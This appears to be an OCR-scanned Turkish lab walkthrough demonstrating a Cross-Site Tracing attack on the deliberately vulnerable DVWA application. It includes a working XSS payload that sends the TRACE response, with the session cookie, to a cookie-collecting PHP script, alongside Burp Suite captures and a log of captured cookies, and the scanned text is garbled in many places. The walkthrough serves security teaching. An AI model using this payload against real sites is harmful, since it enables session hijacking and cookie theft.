Http Trace Methodunun Acik Birakilmasi - EK
Uygulama 4
(+) Birebir denenmistir ve basariyla uygulanmistir.

Gereksinimler

DVWA - Ubuntu 18.04 LTS Il Zafiyetli DVWA Web Uygulamasi
Firefox (Son Sirim) - Ubuntu 18.04 LTS I/l Son Kullanici Web Tarayicisi
Ivar/www/Cross-Site-Tracing-Uygulamasi/ I/l Saldirganin Web Sunucusu

Bu uygulamada XmlHttpRequest ile TRACE talebi yapma kisiti olan modern web
tarayicilarda XST saldirisi demosu nasil uygulanir gosterilecektir. Bu demoda genel isleyis
kabaca su sekildedir:

- XST aciklikh (bu senaryoda Reflected XSS aciklikl) bir web sayfasina gidilir. XST
payload’'u girilir. Fakat XST payload’'undaki TRACE talebi ifadesi TRACE
olmayacaktir. Clnkii modern tarayicilar TRACE ile XmlIHttpRequest yapilmasini

onluyorlar. Bu nedenle payload’da TRACE yerine GET kullanilir.

- istek gonderildiginde yanit gelir ve ilk XmiHttpRequesti GET talepli ve ikinci
XmlHttpRequest'i POST talepli payload oldugu gibi geri yansir. Web tarayicida GET
xmlhttprequest javascript talebi render’landiginda bir GET talebi gonderilir. GET talebi
burp ile aradayken dizenlenir ve GET ifadesi elle TRACE yapilir. Boylece web
tarayicinin istemci tarafli TRACE kisiti atlatilmis olur. Yani web tarayicidan TRACE
talebi yapamiyoruz, fakat arada paketi dizenleyip TRACE yaparak saldiriyi
simule edebiliriz. Daha sonra payload’daki ikinci XmIHttpRequest olan POST talebi

yollanacaktir. Bu talep oldugu gibi forward’lanir.

- Nihayetinde web sayfa tam olarak render’landiginda ve XmlIHttpRequest istekleri

bittiginde POST talebi ile cerez saldirgan sunucuda log'lanir ve ekrana TRACE
popup’l gelir.

Uygulama su adimlarla tatbik edilebilir:

1. Firefox web tarayicisinda localhost 8080 proxy ayari yapilir.

2. Firefox web tarayicisinda DVWA'nIn XST aciklikl sayfasina gidilir.
http://hasanfsimsek/DVWA-master/vulnerabilities/xss_d/

3. Burpsuite agllir, ve



Proxy->Options->Intercept Server Response
tick yapilir. Ardindan

Intercept is On

yapilir.
4. Firefox web tarayicisinda XST agiklikli girdi noktasina XST payload’u asagidaki gibi girilir.

<script>var xmlHttp = new
XMLHttpRequest();xmlIHttp.open("GET","http:/lhasanfsimsek",false);xmIHttp.send();xmIDoc
=xmlHttp.responseText;xmlHttp.open("POST","http://hasanfsimsek/Cross-Site-Tracing-

Uygulamasi/cerezTopla.php",false);xmlIHttp.send(xmlDoc);alert(xmlDoc);</script>

() Uyari: Web tarayicilarda TRACE ile XmIHttpRequest yasakl oldugundan GET ile istek
yapilir.

5. Burpsuite ekraninda gelen xst payload’lu paket Forward’lanir.

Burp Suite Community Edition v2022.9.6 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options
User options Learn

Intercept HTTP history WebSockets history Options
f Request to http://hasanfsimsek:80 [127.0.1.1]
Forward Drop Action Open Browser 4G HTTPI @
Hex o=

%3Cscr @b t%3Evar+xmLHt tp+%30+ newt XMLHE tpRequest%28%29%3BxmLHE tp . open%28%220ET %22% 2% 22h t tp% 3% 2F%2Fhasanfsimse
alse%2%%3BxmlHE tp . send%28%25%3Bxml Doc%30xmlHE tp . responseT ext%3BxmLHt tp . open%28%22P0ST%22%2C%22h t tp%3A
asanfsimsek%2FCross-Site-Tracing- Uygulamasi%2FcerezTopla. php%22%2Cf alse%29%3BxmLHt tp . send%28xmlDoc%2%%
3Balert%28xmlDoc%2%38%3C%2Fscript%3E HTTR/1.1

Host: hasanfsimsek

User-aAgent: Mozillays5.0 (X11; Ubuntu; Linux x86 64; rv:109.0) Gecko/20100101 Firefox,/109.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,1mage/avif,image /webp,*/*;q=0.8
Accept-Language: en-US,en;g=0.5

& Accept-Encoding: gzip, deflate

7 Connection: close

2 Cookie: security=low; security=low; PHPSESSID=dShofSproSga7cpig)ibvrmpuns

S Upgrade-Insecure-Requests: 1

oW M
HOLD3dSNI

11

@@ & ||| | Search... 0 matches


http://hasanfsimsek/

5. Sayfadaki Reflected XSS zafiyeti dolayisiyla XST payload’u oldugu gibi geri yansir.
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Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options
User options Learn

Intercept HTTP history WebSockets history Options

Response from http://hasanfsimsek:80/DVWA-masterfvulnerabilities/xss_r/?name=%3Cscript¥3Evar+xmlHttp+%3D+new+XMLHttpRequest¥%28%29%3Bxm...

Forward Drop Intercept is on Action Open Browser Comment this item W0
Pretty Raw Hex Render = n =
= <input type="submit" wvalue="Submit"=
=/p=

<pre=
Hello =script=
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "http://hasanfsimsek", false);
xmlHttp.send () M-
xmlDoc=xmlHttp. responseText;
xmLHttp.open("POST", "http://hasanfsimsek/Cross-Site-Tracing- Uygulamasi/cerezTopla.php",
false);
xmLHttp.send(xmlDoc);
alert(xmlDoc);
=/script=

HOLD3dSNI

<hz=
More Information
</h7=

@@ & ||| | Search... 0 matches

6. Http Response’u bu sekilde Forward’lariz ve web tarayicinin render’lamasina birakiriz.

7. Http Response web tarayiclya geldiginde yanit paketi render’lanirken xst payload’u
(javascript kodlari) ¢alisir ve payload’'daki ilk XmIHttpRequest talebi GET gerceklesir. Burp ile
aradayken bu GET talebini elle TRACE seklinde duzeltiriz.

Once:
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Burp  Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options
User options Learn
Intercept HTTP history WebSockets history Options

f Request to http://hasanfsimsek:80 [127.0.1.1]
Forward Drop Intercept is on Action Open Browser Comment this item Y HTIPIL @

Pretty Raw Hex n o= &

1 [GET / HTTP/1.1

2 > hasanfsimsek

3 User-Agent: Mozillas/S.0 (X11; Ubuntu; Linux x85_64; rv:109.0) Gecko/20100101 Firefox/109.0

Accept: #*/%

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

2 Referer:
http://hasanfsimsek /DVWA-master/vulnerabilities/xss_r/7name=%3Cscript%3Evar+xmlHt tp+%30+newt XMLHt tpReques %2
2938 mLHE tp . 0penfs28%22CET%22%2 % 22h t tp%3A%2 s 2Fhasant simsek%22%2CT al se%2%%3BxmlHt tp . send%28%29%3Bxml Doc%3
DxmlHttp. responseText%3BxmlHttp . opent28%22P0ST%22%2(%22h t tp%3A%2F%2Fhasanf simsek%2FCross- Site-Tracing- Uygula
masi%2FcerezTopla. php%22%2CT alse%29%3BxmlHt tp . send%s28xmlDoc%25%3Baler t%28xm L Docs 2% 3B% 3C%2Fscripts3E

S Cookile: PHPSESSID=dSho6proSga7cpig8jibvrmpun3

10

11

NN RTINS

dOLD3dSNI

@@ & ||| | Search 0 matches



Sonra:
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Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options
User options Learn

pt HTTP history WebSockets history Options

Inter
f Request to http://hasanfsimsek:80 [127.0.1.1]

Forward Drop Action Open Browser Y HTTPA @
Prett Raw Hex no= &

l% S HTTR/L.1

A hasanfsimsek

: User-Agent: Mozillas/S.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0

Accept: */*

Accept-Language: en-US,en;q=0.5

i Accept-Encoding: gzip, deflate

Connection: close

= Referer:
http://hasanfsimsek /DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Evar+xmlHt tp+%30+new+ XMLHt tpRequests2
52T 3BxmLHL tp . 0pen®s 2852 20ET%22%2C% 22 t tp%3a%2F%s2FhasanT simsek%22%2CT alse%29%3BxmLHE tp . send%28%29%3Bxml Doc%3
DxmLHttp. responseText%3BxmlHttp. open%28%22P0ST%22%20%22http%3A%2F%2Fhasanf simsek%2FCross- Site- Tracing- Uygula
masl%2FcerezTopla. php%s22%2Cf alse%25%3BxmlHt tp . send%s28xmlDoc%29%3Ba Le r t%28xmlDoc%29%36% 3 s 2Fscrip ts3E

< Cookle: PHPSESSID=dShoSpro9ga7cpigjibvrmpunz

z

HOL123dSNI

11

0 matches

Bu sekilde web tarayicinin TRACE ile istek yapma kisitini atlatiriz. Yani GET talebi TRACE
talebi seklinde dizeltilerek istemcinin TRACE isegi yaptigini simule edebiliriz. TRACE isteqi

forward’lanir.

8. Ardindan XST payload’undaki ikinci XmIHttpRequest talebi olan POST gerceklesir.

Burp Suite Community Edition v2022.9.6 - Temporary Project o

Bup Project Intruder Repeater Window Help
Dashboard  Target P Intruder  Repeater  Sequencer  Decoder  Comparer  logger  Extender  Projectoptions  Useroptions  Leam
Intercept  HTTP history  WebSockets history  Options.

(f Request to http:/Masanfsimsek:80 [127.0.1.1]

Forward Drop Action Open Browser Con W HTPL (D)
Raw  Hex w =g
1 POST /Cross-Site-Tracing-Uygulamasi/cerezTopla.php HTTP/1.1
2. hasantsimsek =
3 User-Agent: Mozilla/s.0 (XL1; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
2 Accept: */x =
5 Accept-Language: en-US, en;q=0.5 a
5 Accept-Encoding: gzip, deflate m
7 Content-Type: text/plain;charset=UTF-8 3
8 Content-Length: 710 ©
o Origin: http://hasanfsimsek
10 Connection: close
11 Referer:
http://hasanfsinsek/DWA- mastsr/vulnerab)ht)es/xss /7name=63CsCri pris3Evar+XILHE tp+5s3D+newt XMLHE tpRea) http si fal Hetp. DocteaDxmlHEtp.
responseTexts3BxmlHttp . op ST Cimsek2FCross. Si te-Tracing. UygulanasiicaFear sTopla. php%22‘%2cfsl Hetp. o erto28xmlDx SFscriptis3E
12 Cookie: PHPSESSID=dSboepr09ga7cpis)ibyrmpun3
1rrmcg / HTTP/L.1
1ffHost: hasanfsimsek
1ffuser-agent: Mozilla/s.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
1faccept: */*
18 accept-Language: en-Us,en;q=0.5
1faccept-Encoding: gzip, deflate
2fl connection: close
2fReferer:
REtp: //hasanf simsek/DWia- naster /vulnerabi Liti es/xss_r/Tnane=aCsc i prsaBvar rxnl HEtp#aDnewr XHLH tprequ ittp. http si fal Hetp. DocteaDxmlHEtp.
responseTextss3BxmlHttp . op ST http simsek%2FCross-Si te-Tracing-Uygulamasi%zFcerezTopla. php%22‘%2cfsl Ht tp . sends28xmD Tert28xmLD SFscriptusE
2 Cookie: PHPSESSTD=dsbosprosga7cp)sjibvrmpun3

POST talebi gévdesinde TRACE istegini icerir. Bu POST talebi oldugu gibi forward’lanir.



9. Bdylece istek ve yanitlar tamamlandigindan modern web tarayicida XST saldirisi

gerceklesir.

€ > X @ O 8 hasanfsimsek/DVWA-master/vulnerabilities/xss_r/?name=<script>var+xmlHttp+%3D+new+XMLH ¥ Lh =

@ hasanfsimsek

TRACE / HTTP/1.1

Host: hasanfsimsek

User-Agent: Mozilla/s.0 (X11; Ubuntu; Linux x86_64;

Gecko/20100101 Firefox/109.0

Accepl: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://h imsek/DVWA / bilities/xss_r
/rname=%3Cscript%3Evar+xmlHttp+%3D+new+XMLHttpRequest
%28%29%3BxmIHttp.open%28%22GET%22%2C%22http%3A%2F
%2Fhasanfsimsek%22%2Cfalse%29%3BxmlHttp.send%28%29
%3BxmlDoc%3DxmlHttp.responseText%3BxmlHttp.open
%28%22POST%22%2C%22http%3A%2F%2Fhasanfsimsek%2FCross-
Site-Tracing-Uygulamasi%2FcerezTopla.php%22%2CFalse
%29%3BxmlHttp.send%28xmlDoc%29%3Balert%28xm|Doc%29%38
%3C%2Fscript%3E

Cookie: PHPSESSID=d5bo6progga7cpjgjibvrmpun3

Iwww/Cross-Site-Tracing-Uygulamasi/cerezler.html:

« = O @ O DO localhost/Cross-Site-Tracing-Uygulamasi/cerezler.txt B % ® L 5 =

<Tr><1a Vallgn="Top"><1mg Src="/I1CONS/UNKNOWN.QIT™ alT="1  |"></T><T0><a MreT="XMmLDomopay L0300 USTUFMa. pp->XMmLDOmopay L0300 LUSTUIMA. PNp</a></ TA><Ta aLIgN="r1gnT">2622-12-8/
15:04 </td><td align="right">111 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="xxelab/">xxelab/</a></td><td align=
</td><td>&nbsp; </td></tr>
<trs<td valign="top"s<img src="/icons/text.gif" alt="[TXT]"></td><td><a href="xyzabcd.html">xyzabcd.html</a></td><td align="right">2622-10-19 12:50 </td><td align="right"> 26
</td><td>&nbsp; </ td></tr>

<tr><th colspan="5"><hr></th></tr>

ight">2022-10-20 22:41 </td><td align="right"> -

</table>

<address>Apache/2.4.29 (Ubuntu) PHP/7.2.24-0ubuntu@.18.04.16 OpensSL/1.1.1 Server at localhost Port 80</address>
</body></html>

Kurbanin Cerezinin Calinma Zamani : 28.81.23 t 18:12:48

Kurbanin IP Adresi 1 127.6.6.1
Kurbanin Aldigi TRACE Yaniti B

TRACE / HTTP/1.1

Host: hasanfsimsek

User-Agent: Mozilla/5.® (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://hasanfsimsek/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Evar+xmlHttp+%3D+new+XMLHt tpRequest:28%29%3BxmlHt tp. 0pen%28%22GET%22%2(%22ht t p%3A%2F
%2Fhasanfsimsek%22%2Cfal Http.send%2 Http.resp t%3BxmIHt tp. op 2P0ST%22%2C%22ht tp%3A%2F%2Fhasanfsimsek%2FCross-Site-Tracing-
Uygulamasi%2FcerezTopla. php%22%2Cfal Http. t%28xm Doc%20%3B%3C%2F sCripts3E

Cookie: PHPSESSID=d5boBprédga7cpj8jibvrmpun3

Kurbanin Cerezinin Calinma Zamani 1 28.01.23 t 18:22:00

Kurbanin IP Adresi 1 127.0.8.1
Kurbanin Aldigi TRACE Yaniti B

ITRACE / HTTP/1.1
Host: hasanfsimsek

User-Agent: Mozilla/5.® (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
IAccept: */*
Accept-Language: en-US,en;q=0.5

IAccept-Encoding: gzip, deflate

Connection: close

Referer: http://hasanfsimsek/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Evar+xmlHttp+E3D+new+XMLHt tpRequests28%29%3BxmlHttp. 0pen%28%22GET%22%2C%22ht tp%s3A%2F
52Fhasanfsimsek%22%2Cfal Http.send%s2 Http.resp t%3BxmlHt tp. op 2P0ST%22%2C%22ht tp%3A%2Fs2Fhasanfsimsek%2FCross-Site-Tracing-
Uygulamasi%2?FcerezTopla. php%22%2CFal Http. t%28xm Doc%20%3B%3C%2F sCripts3E

[Cookie: PHPSESSII ShDGErGQHBTCH ] vrmﬁunB

Kurbanin Cerezinin Calinma Zamani 1 28.01.23 t 18:44:27




Kaynak:
# Firefox Tarayicida XST Yaptigina Dair Ekran Altintisi Paylasiliyor
# ve Payload’daki GET'i Burp’'te TRACE seklinde degistirin bilgisi veriyor.

https://www.axcelsec.com/2018/05/damn-vulnerable-web-services-walkthrough.html



